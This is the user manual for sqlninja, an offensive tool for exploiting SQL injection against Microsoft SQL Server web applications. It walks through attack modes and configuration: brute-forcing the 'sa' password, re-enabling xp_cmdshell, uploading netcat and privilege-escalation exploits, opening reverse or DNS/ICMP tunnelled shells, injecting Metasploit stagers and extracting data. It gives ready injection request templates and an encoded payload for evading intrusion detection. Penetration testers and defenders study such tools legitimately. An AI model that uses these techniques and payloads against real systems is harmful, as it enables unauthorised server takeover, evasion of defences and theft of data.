Sqlninja's goal is to exploit SQL injection vulnerabilities on web applications that use Microsoft SQL Server as back end. It is released under the GPLv3.
Sqlninja's main goal is to get interactive OS-level access on the remote DB server and to use it as a foothold in the target network. As an experimental feature, it can also extract data from the database. In a nutshell, here's what it does:
For the latest release and two flash demos, check out the address http://sqlninja.sourceforge.net. The demos refer to a previous version but are still perfectly good to get a better understanding of the tool.
Read this manual carefully (yes, I mean all of it), as it will explain you what it is all about and how to make your way through all sqlninja options. Yes, I know that it's terribly long and boring, but since sqlninja has a plethora of options to play with (and no shiny green buttons), try to read the whole thing: it will help you to get the most of the tool and will save you a lot of time later.
Since sqlninja is completely written in Perl, there is not much to install, except Perl itself and the following modules, if missing:
If something goes wrong, activating verbose output (-v option) and/or debugging (-d) should provide some hints. Developed on a Gentoo box, sqlninja has been reported to work on the following operating systems:
Sometimes, when you find a SQL Injection vulnerability in a web application which uses SQL Server, it is all 2001 again: you find that your queries are run as 'sa', you verify that xp_cmdshell has not been disabled, then you make the server download netcat (via ftp or tftp) and finally obtain your direct or reverse shell. Most of the time, however, things are different: maybe the firewall filters all inbound/outbound connections, or a reverse shell is only allowed on some obscure service, or xp_cmdshell isn't there, or your queries are executed with low privileges. Or maybe all these things together ;). Sqlninja offers some help in getting the deserved remote shell even in these cases. And if that fails, it can still help you to squeeze some data out of the remote DBMS.
I am assuming that you have a good grasp of SQL Injection techniques and of Microsoft SQL Server internals. If you have trouble understanding what follows, I recommend you that you read this, this and this. I am also assuming you understand what protocol tunneling is, in particular over ICMP and DNS. If you don't, a good introduction to the concept for DNS is here.
Sqlninja's behaviour is controlled via the
configuration file (default: sqlninja.conf), which tells sqlninja what to attack and how (target host, vulnerable page, exploit strings, ...), and some command line options, which tell sqlninja what action to perform. These command line options are the following:
Sqlninja has currently 14 attack modes. The mode to use can be specified by its name:
sqlninja -m upload
sqlninja -m u
To get a first grasp of the different attack modes, here's a typical way of using sqlninja:
WAITFOR DELAY and checks whether it is successfully executed by the remote server. Use this mode to test whether your configuration file is correct and the injection is working.
If you are attacking SQL Server 2000, the current DB user does not belong to the sysadmin group, but the right 'sa' password is specified as a parameter, the fingerprint is performed with administrative rights. The WAITFOR technique is much slower compared to other inference methods, but it's by far the most flexible. However, since external factors like network traffic and server load could interfere with the time measurements, you might want to repeat the fingerprint a couple of times, if the first result doesn't look right, or play with the blindtime parameter in the
configuration file. Note that in order to use fingerprint the user running SQL Server the following must be available on the remote box:
whoami.exe. This is present by default on Windows 2003, but if you suspect that this utility is not on the remote box, just download it from microsoft.com and
upload it.
This mode is to be used if the user that performs the queries does not belong to the sysadmin group (see fingerprint mode). If this is the case, we need to escalate our privileges. Since by using OPENROWSET we can make the target database connect to itself with alternate credentials, we can attempt to bruteforce the 'sa' password. If the correct password is found, current user is automatically added to the sysadmin group. For this attack to work, the remote SQL Server must use "mixed authentication". Use fingerprint mode to check if this is the case.
This attack mode can use two different methods: "dictionary" and "incremental". You are free to use the method that best suits your needs.
This method is used when a wordlist is specified, using the -w option. Using this method, potential passwords are fetched from the wordlist, and each one is tried in a separate request. Be sure that your wordlist contains 'sa' and the empty password, two all-times favourites for MS SQL Server installations.
Pros:
This method is used when a wordlist is not specified. Sqlninja submits a set of queries that try *ALL* possible combinations of characters up to a certain length that is specified by the user. The cool aspect of this tactic is that since the queries run on the DB server, the bruteforce is actually performed using the target's CPU resources.
Pros:
Cons:
In general, you should not need this method, as sqlninja takes care of the escalation in the bruteforce mode already. However, there might be cases in which you need to perform this bit independently (maybe you found the password with a social engineering attack).
If you want to know how the escalation works, or if you have found the 'sa' password but the escalation seems not to work, keep reading. Otherwise, you can skip to resurrectxp mode.
The escalation is performed combining OPENROWSET, the right 'sa' password, and sp_addsrvrolemember, by adding the current DB user to the sysadmin group. It is quite unlikely that sp_addsrvrolemember has been disabled, so the trick should work pretty much always. If it doesn't work, there might be 2 cases:
In the second case (or also in the first, if you don't want to wait), you only need to specify the -p <sa password> parameter in all the following steps of the attack: that will tell sqlninja to use OPENROWSET in each connection, running each command as 'sa' rather than as the current user.
-p <sa password> parameter, in order to use OPENROWSET to escalate privileges in each connection, and this leads to the following point-p parameter you cannot use the "CREATE PROCEDURE" trick. However, there is a workaround: you can include the whole procedure code in each request that is sent to the DB Server, without creating an extended procedure at all. Let's call this trick "inline procedure injection".xp_cmdshell (which is the default value), then sqlninja starts by trying to re-enable it with sp_addextendedproc/sp_configure. You will be asked the version of the remote SQL Server. If you forgot to use fingerprint mode, sqlninja will find this info on its own. If this whole thing works, we have our xp_cmdshell back.xp_cmdshell (maybe because you want to be more sneaky) in the configuration file, or step #1 has failed (e.g.: because xplog70.dll has been removed), then:
NULL in the configuration file. This will tell sqlninja to use the inline procedure injection in all subsequent stepsNote: the code used by sqlninja for the custom procedure is a slight modification of Antonin Foller's code, that you can find at the address http://www.motobit.com/tips/detpg_cmdshell/
%TEMP% variable, so that the attack works even when MSSQL cannot write on the default directory (which seems to be sometimes the case with MSDE). There are two upload methods available, controlled by the
upload_method option:
DEBUG.EXE 16bits debugger. The binary file is encoded as a debug script (.scr extension) the script is uploaded and feeded to the debugger. The script basically allocates an area of memory, writes the needed bytes in it, and saves the result to disk. Being a 16bits debugger there is obviously a 64k bytes limitation in the size, but sqlninja bypasses it by splitting the original executable in chunks of 64k bytes, uploading them separately, and then finally merging them together. Sqlninja uses the same algorithm used in Jussi's great dbgtool.exe (which you can find at the address http://www.toolcrypt.org) which is capable of creating very compact scripts.No matter what method you select for the upload, you will be prompted for the file name to upload and things will be completely automated. If the file appears to be already in .scr or .base64 format, sqlninja will perform the upload anyway, but some checks (e.g.: the uploaded binary file has the correct size) will not be possible. In general, it is always better to provide sqlninja with the original binary.
For your comfort, netcat.exe, dnstun.exe, icmpsh.exe, churrasco.exe, vdmallowed.exe and vdmexploit.dll are already available in the apps and scripts directories, respectively in binary and debug+base64 format. The executables have been packed with
UPX in order to minimize their size (and the upload time). You need to upload netcat to use backscan/dirshell/revshell, whereas dnstun.exe and icmpsh.exe are used to create a DNS and ICMP tunneled pseudoshell respectively. Churrasco.exe is used to attempt a privilege escalation via token kidnapping if SQL Server is not running as SYSTEM. Vdmallowed.exe and vdmexploit.dll attempt the same attack using CVE-2010-0232.
Keep in mind that a lot of things can go wrong here: if a single line of the encoded file fails to get uploaded, the executable will not be correctly generated. Therefore, at the end of the process sqlninja checks whether the executable file is there, and if it is not it also tries to figure out how many lines have been uploaded: this should provide some hints on what went wrong. For instance, during a pen-test it turned out that the resulting number of lines was exactly twice the correct value, meaning that each injected query was executed twice. The trick was to create a temporary table that acted as a counter, appending the line to the script file only when the counter was even.
If you only want to generate the debug script or the base64 file without uploading it (for instance to use it with some other tool), start the upload mode with the -g option, and sqlninja will generate the file in the /tmp directory and exit. You need to specify the password parameter when you do not have native sysadmin privileges (see
escalation mode).
You need to specify, in the configuration file, the IP address of your machine ( lhost parameter) and the interface to listen on ( device parameter). Sqlninja will ask you about the protocol to use (TCP/UDP) and for the ports, that must be specified with the common netcat syntax (e.g.: "23 25 80-100" will try ports 23, 25 and all ports between 80 to 100). The password parameter is to be used when we do not have native sysadmin privileges (see escalation). In order to use this mode, netcat must have been uploaded first, and since pcap libraries need to be used you also need to be root.
When starting this attack mode, sqlninja will ask the following information:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
sqlninja.net in our exampleencoded_output.sqlninja.net) gethostbyname(), so that the DB server contacts its DNS Server to resolve them gethostbyname() quickly return.The whole process is streamed, which means that if the command output is very long you will start seeing its output before the command has finished.
The domain to use must be specified in the configuration file. Of course, since sqlninja must create a fake DNS server and bind port 53, you need root privileges to use this mode. Keep in mind that DNS uses UDP, so packet loss might be an issue, here.
The executable version of the agent has been compiled with Msys. As always, the password parameter is to be used when we do not have native sysadmin privileges (see escalation mode).
This attack mode is fully automated, and in a nutshell here's what happens:
msfpayload to create an appropriate executable that will act as a stagercheckdep parameter)msfcli to inject the needed DLL and complete the exploitationYou can watch a flash demo of this attack on the sqlninja website.
Of course, in order to use this attack mode you need to have Metasploit3 available on your box. If Metasploit executables (namely msfpayload, msfcli and msfencode) are not in your path, you can specify their absolute location in the configuration file. Also, if you use the VNC mode, be sure to have a VNC client installed.
Of course, you can still use timing to know what is going on:
if exist filename (ping -n 5 127.0.0.1)
To know whether a command succeeded, also check the value of the ERRORLEVEL variable, which is usually set to 0 if the last command did not produce an error. So, for instance, if we want to know whether the remote SQL Server is running as SYSTEM, we can use the following command:
whoami > who.txt & find /i "\system " who.txt & if not errorlevel = 1 ping -n 5 127.0.0.1 & del who.txt
whoami.exe is installed by default on Windows 2003 and can be found on Windows 2000 if the Resource Kit has been installed). Refresh your DOS-shaolin skills and use your fantasy: from appending commands in AUTOEXEC.BAT to starting/stopping services and adding rogue users, you can get pretty far with this!
This mode can also be useful when some other mode fails, in order to understand what went wrong and how to fix the problem. Finally, this command is also very useful to show a client that you owned their DB server even if you didn't get the shell:
echo You have been owned by sqlninja > c:\sqlninja.txt
This channel is used when
data_channel is set to time in the configuration file, and uses the slow but reliable WAITFOR DELAY command to extract information. Sqlninja can exploit time-based injection in two ways, detailed in the following paragraphs.
This method is activated when
data_extraction is set to binary in the configuration file. If you are even marginally into computers, you should know how a binary search algorithm works, so we am not going to get much into detail here. Basically, this method minimizes the number of requests to the application, which makes it useful if you want to keep your footprint to a minimum. However, approximately half of the queries will trigger a delay, which means that this method might not be the fastest.
Time-based serial/optimized search
This method is activated when
data_extraction is set to optimized (default) or serial in the configuration file. With this method, all possible values are tried in sequence until the right one is guessed. The difference between serial and optimized is in the order of the attempts: while the former just tries all values following their ASCII value, the latter starts with the most common values. The exact order is specified with the
language_map parameter, and such order is modified in real-time, adapting to the actual frequency of characters being extracted, if the
language_map_adaptive parameter is set to to yes.
You have control over a DNS domain or subdomain? You can get DNS servers to shoot "Type A" requests to your box? Does the remote DBMS resolve external names? If so, you can forget about that sluggish inference-based extraction and start pulling data almost at light speed (well, comparatively speaking). Make sure you run sqlninja as root, set
domain in the configuration file, and you are ready to go.
Additional info
By default, sqlninja stores all extracted information in a local SQLite database, whose filename is specified via command line with the -s parameter. The default name is session.db. For all other parameters and details, see
data extraction options.
Quite often, SQL Server does not run as SYSTEM but as a less-privileged user (very often "Network Service"). This creates limitations in what the attacker can do (e.g.: extract password hashes). It also creates problems with the VNC Injection, causing a black screen to be returned. However, with sqlninja we can try to escalate privileges to SYSTEM, using two different attacks techniques.
If SQL Server runs as a low-privileged user, and the machine is not patched against CVE-2010-0232, we can try to elevate its privileges to SYSTEM. Sqlninja ships with a version of the original exploit by Tavis Ormandy that has been specifically customized: while the original exploit spawns a DOS prompt, our version looks for the sqlservr.exe process and forces it to run as SYSTEM. In order to launch the attack, the following steps are required:
vdmallowed.exe and vdmexploit.dll, which are available in the apps directory in executable format and in the scripts directory (in debug script format)%TEMP%\vdmallowed sql
On Windows 2003 we can also attempt to escalate our privileges using token kidnapping, a technique researched by
Cesar Cerrudo.
As a proof of concept he developed
churrasco.exe,
which is included in the sqlninja tarball in a slightly modified version. If you need to escalate to SYSTEM simply upload it
to the remote server using the upload mode and then set the
usechurrasco option to yes: all commands will then be wrapped with churrasco.exe. Keep in mind that this will not work if the remote DBMS has been patched
against the attack, but you can check whether things are working using the
fingerprint mode while this option
is enabled.
Important: be sure to use the modified version of churrasco (yes, the one in the sqlninja tarball), or things are likely to break. You can see the differences in the C source in the sources directory, but basically they boil down to:
-d option is used. Verbose output would interfere with option 5 of the fingerprint mode, which uses a temporary table to store the results of a churrasco.exe execution.CreateProcessAsUser() is called passing the original (unprivileged) user's %TEMP% directory as the lpCurrentDirectory parameter, which is where our executables (e.g.: netcat) are uploaded (and not in the %TEMP% directory of SYSTEM).The configuration file (default: sqlninja.conf) controls most of sqlninja behaviour. All options are in the form:
option_name = option_value
httprequest, which defines the HTTP request and the injection point and which spans multiple lines (see below).
Options can be roughly divided into the following categories:
Options are, more often than not, case sensitive (e.g.: URL values). The same option can be used multiple times: sqlninja does not care and will simply use the last declaration, overriding the previous ones.
Comments are allowed anywhere except between --httprequest_start-- and --httprequest_end-- (see below), and they are prepended by the '#' character. A quick recap of what follows can also be found in sqlninja.conf.example.
Starting from version 0.2.6, sqlninja uses a new way to configure the HTTP request and the relative injection string. Instead of separate parameters for host, port, page, HTTP method, exploitation string and additional headers, the whole HTTP request is specified at once, with a marker (by default __SQL2INJECT__) that indicates where the SQL commands need to be injected.
This simplifies things a lot, and most importantly allows complete freedom in where the injection vector can be: now you are not limited to a GET or POST parameter, but you can inject wherever you need (e.g.: in a cookie).
Sqlninja will consider as the HTTP request everything that is included between the lines --httprequest_start-- and --httprequest_end--.
In general, the following elements must be included:
http:// or https://http://www.victim.com:8080)In general, the best strategy is just to use a proxy (e.g. Burpsuite) to intercept the request that triggers the SQL Injection and copy it into sqlninja.conf
For instance, a GET-based injection over plaintext HTTP will look like the following:
--httprequest_start--
GET http://www.victim.com/page.asp?string_param=aaa';__SQL2INJECT__&other_param=blah HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
--httprequest_end--
Alternatively, a POST-based injection over HTTPS will probably look like the following (note the Content-Type header and the empty line between headers and body):
--httprequest_start--
POST https://www.victim.com/page.asp HTTP/1.0
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
Connection: close
numeric_param=12;__SQL2INJECT__
--httprequest_end--
Finally, a cookie-based injection will look like the following:
--httprequest_start--
GET http://www.victim.com:8080/page.asp?param1=aaa¶m2=blah HTTP/1.0
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Cookie: ASPSESSIONID=xxxxx'%3B__SQL2INJECT__
Connection: close
--httprequest_end--
Note how the semicolon after the apostrophe has been encoded to %3B: this is because otherwise the server would parse the semicolon as a separator between different cookies.
Before the __SQL2INJECT__ marker, you need to include everything that is needed to close the original query and start a new one, such as the vulnerable parameter and the character sequence that allows us to start injecting commands. This usually means, at least:
param1=1¶m2=x'));exec+master..xp_cmdshell+'dir+c:'
param1=1¶m2=x'));__SQL2INJECT__
Important things to remember:
appendcomment = no, otherwise the two hyphens will be appended and the SQL code specified here will be considered a commentAn HTTP proxy to connect to the target host, if needed. For example:
proxyhost = 192.168.1.233
The port of the HTTP proxy that we connect to. Default is 8080. For example:
proxyport = 3128
The attacker's controlled domain or subdomain to be used with the dnstunnel mode and DNS-based data extraction mode. The IP address from which sqlninja is launched must be the authoritative DNS server for that domain. For example:
domain = sqlninja.net
The absolute path to Metasploit executables (msfpayload and msfcli). You don't need this if they are already in your default path. For example:
msfpath = /home/icesurfer/tools/framework-3.1
Sqlninja can use a few evasion techniques, in order to confuse and bypass signature-based IPS/IDS. Currently, four techniques are implemented, which can be freely combined together:
/**/The first technique is particularly useful. For instance, if we want to inject the following command:
exec master..xp_cmdshell 'cmd /C ping 127.0.0.1'
declare @a varchar(8000) set @a=0x65786563206d61737465722e2e78705f636d647368656c6c2027636d64202f432070696e67203132372e302e302e31273b exec (@a)
As mentioned, you can combine all the techniques together with the following option:
evasion = 1234
%64ECl%41RE%2F%2A%2A%2F%40%61%2F%2A%2A%2F%76Ar%63%48aR%288000%29%2F%2A%2A%2F%73
ET%2F%2A%2A%2F%40A%3D%30%586%35786%3563%3206d617%33746%35%372%32e2%457870%35F63
6d647368%36%35%36%63%36c2%302%37636D%3642%30%32f%34320%37%3069%36%65%36720%331%
332372E%330%32E3%30%32%45%3312%373b%2F%2A%2A%2FeX%65%43%2F%2A%2A%2F%28%40A%29
evasion to zero, and no evasion technique will be used.
Important: avoid using unnecessary obfuscation if you are using GET requests, as this might lead to URLs that are too long and that are not successfully parsed by the web server!
The encoder to use for the Metasploit stager. If not specified, no encoding is performed. However, a good encoder is always recommended. For example:
msfencoder = x86/shikata_ga_nai
The method to use to upload binary files. Possible values are debug or vbscript (default). For example:
upload_method = vbscript
The channel to use to extract data. It can be time (default) to use a WAITFOR-based extraction channel (very slow, but always works) or dns (much faster, but you need to control a domain or subdomain to be resolved to your public IP address. For example:
data_channel = time
When using time-based extraction, there are three possible extraction methods. When choosing binary, sqlninja will perform a binary search, minimizing the number of requests. When choosing serial, sqlninja will try all possible values, which will probably be faster (since WAITFOR will be triggered only once) but will leave more entries in the remote logs. When choosing serial_optimized, sqlninja will try all possible values, starting from most likely candidates. The default is serial_optimized
If you are using time-based extraction and you have selected serial_optimized as your extraction method, you can specify a language map where you can specify the orders of characters that should be tried when extracting data. You can find some pre-defined maps under lib/langs, where included maps for English, French, Italian, German, Spanish and Portuguese. Such maps are based on the letter frequency in the respective languages and include also a whitespace and some common punctuation characters. If you need a custom map, just list the characters in a single line. You don't need to specify all possible characters: the ones not in the map will simply be tried if none of the specified ones is successful. For example:
language_map = lib/langs/en.maps
When using a serial-optimized extraction, sqlninja can use an adaptive approach: basically, each character in the language map is given a "weight" and every time a character is successfully extracted by the remote database, the weight of this character in the language map is increased by one. When the weight of the caracter in position N is higher than the weight of the character in position N-1, their places are switched in the map itself, so that the character with the higher weight (which is therefore more frequent) will be tried first when extracting following characters. Values here are either yes or no, but in general you should always stick to yes for better results. For example:
language_map_adaptive = yes
By default, sqlninja stores all extracted information in a local SQLite database, specified via command line (default: session.db). This allows you locally save all extracted data and to retrieve it at a later moment. In general, leave this to yes. For instance:
store_session = yes
When using time-based extraction, network latency can limit the accuracy if extracted data. Sqlninja can check the accuracy of extracted information (currently DBs, users, tables, columns but not rows yet) and retry to extract the same piece of information if a problem is detected. The check involves only one query, is performed at the end of the extraction of a whole string (e.g.: a column name), and uses a WAITFOR that is executed only if the information is incorrect. Therefore, the check has a very limited performance impact. In general, leave this to yes. For example:
sanity_check = yes
The IP addresses or hostname that the target must try to contact in backscan and revshell mode. That is *your* machine. Of course, if the attack is performed over the Internet, this must be a public address. For example:
lhost = tester.sqlninja.net
The device to use for sniffing packets when in backscan mode (default: eth0). For example:
device = ppp0
A valid pcap expression to filter incoming packets in backscan mode. By default, when performing such attack, sqlninja listens for packets coming from the IP address of the remote web server and directed to the host specified in lhost. This might not work in all cases: for instance, the outbound connections of the DB server could be NATed to an IP address which is different from the IP address of the web server. Therefore, we need to override the default pcap filter with this parameter, for instance indicating the whole public subnet of the target. You only need to specify hosts/networks here, as the protocol details (e.g.: tcp flags) are handled by sqlninja. For example:
filter = src host nat.victim.com
This parameter is used when in backscan mode. It specifies how many seconds to wait for further packets after the web request has completed (default: 5 seconds). This is especially useful when specifying a very large range of ports to scan, because the web request might timeout before netcat has completed. In this case, you should increase this value. For example:
timeout = 30
Maximum length of FQDN of the fake hostnames that the target will try to resolve in dnstunnel mode. RFCs state that 255 characters is the limit, but I bumped into a few DNS servers that refused names longer than 253. The default value is therefore 250, which should be accepted by every DNS server, and at the same time keep an almost optimal tunnel speed. Minimum value is 40. Maximum is obviously 255. For example:
hostnamelength = 250
You can also tune this parameter to lower values when you think that very long DNS requests might be spotted. Of course, shorter values mean a slower tunnel. If unsure, leave the default value.
Number of times that the stager must be encoded. Default is 5. For example:
msfencodecount = 8
This setting is used to escalate privileges through
token kidnapping. The default of this setting is no. For example:
usechurrasco = yes
In dnstunnel mode, the IP address that is sent back to each DNS request (since we don't want gethostbyname() to hang). In general, it is advisable to set this to 127.0.0.1 (which is the default), to avoid spurious network traffic generated after the remote DBMS receives a fake DNS response.
resolvedip = 10.255.255.254
Name of the extended procedure that executes our commands. The default is obviously xp_cmdshell.
This parameter is used in two different ways, depending on the current attack mode:
xp_name contains the name of the extended procedure to create. If you believe that re-enabling xp_cmdshell might be spotted, use another name here (e.g.: sp_sqlbackup)NULL to use the inline procedure injection technique (see
resurrect_xp mode for more details). For example:
xp_name = sp_sqlbackup
The value for the WAITFOR DELAY calls that are used in fingerprint and bruteforce modes for the inference-based injection. Default value is 5 seconds, but this might be too low for very slow servers and lead to wrong results. If that happens, try increasing this value. On the other hand, if the server response time is very short, you can set a lower value to make things faster (minimum: 3). For example:
blindtime = 4
With this parameter you can control how many lines of the debug script are uploaded in a single request. A higher value obviously means a faster upload, but it might be risky if you use GET requests, since the URL might become too long. The default here is 10, and the maximum is 30. Example:
lines_per_request = 15
Sqlninja alerts the user when an HTTP error code is received (e.g.: 500 Server Error), but some applications return a custom page with a 200 OK message. In such cases, it is wise to provide sqlninja with a string that is present in that error page (and only in that page). The parameter value must be put between double quotes. For example:
errorstring = "an error has occurred"
By default, sqlninja appends two hyphens to the injected query in order to comment out any spurious SQL code. This is good and works in approximately 99% of the cases. However, you might want to change this behavior in some very specific scenarios. For example:
appendcomment = yes
Recent versions of Metasploit automatically disable DEP with the stager before injecting the DLL. However, if for some reason this does not work you can roll back to the old behavior: sqlninja will check the DEP setting on the remote machine and will try to whitelist the Metasploit stager by calling xp_regread. By default this setting is set no no but it is perfectly safe to re-enable the check. It will just make things a little slower, and obviously will leave a slightly larger footprint on the remote system. Example:
checkdep = no
You can also override the value of the marker that is used to tell sqlninja where to inject the code (default: __SQL2INJECT__). It is extremely unlikely you will ever need to change this.
sqlmarker = SOME_WEIRD_STRING_HERE
You can override the name that sqlninja uses for the script used to decode base64 files once they are uploaded. The default is b64decoder.vbs. It is extremely unlikely you will ever need to change this.
b64decoder = somename.vbs
$proto=17 in UDP.pm.If sqlninja has been useful to you, either because it helped in a penetration test or because you just became a millionaire stealing credit cards from e-commerce sites, be aware that it's also thanks to:
Sqlninja is not trivial to setup, so it should be of no use for script kiddies. In any case, what you do with this tool is uniquely your business. In order to use it you are supposed to be a professional penetration tester with some written document that authorizes you to punch holes in the network you are attacking. If you don't have such authorization, feel free to have fun anyway but be aware that this might get you in trouble with a lot of law enforcement agencies. That means you. Not us.
If you have some constructive observations or ideas about current or new functionalities, or if you want to report a bug, or if sqlninja was useful in some way, please drop us a line :). Also, if you successfully used this tool in a penetration test, and that made your boss win a few more projects that will help him buying a new Porsche or bringing his trophy wife to Vegas, convince him that the hacking community deserves a donation to pay some bills and buy some booze.
Any damn fool can beg up some kind of job; it takes a wise man to make it without working -- Charles Bukowski
icesurfer - < r00t -at- northernfortress -dot- net >
nico - < nico -at- leidecker -dot- info >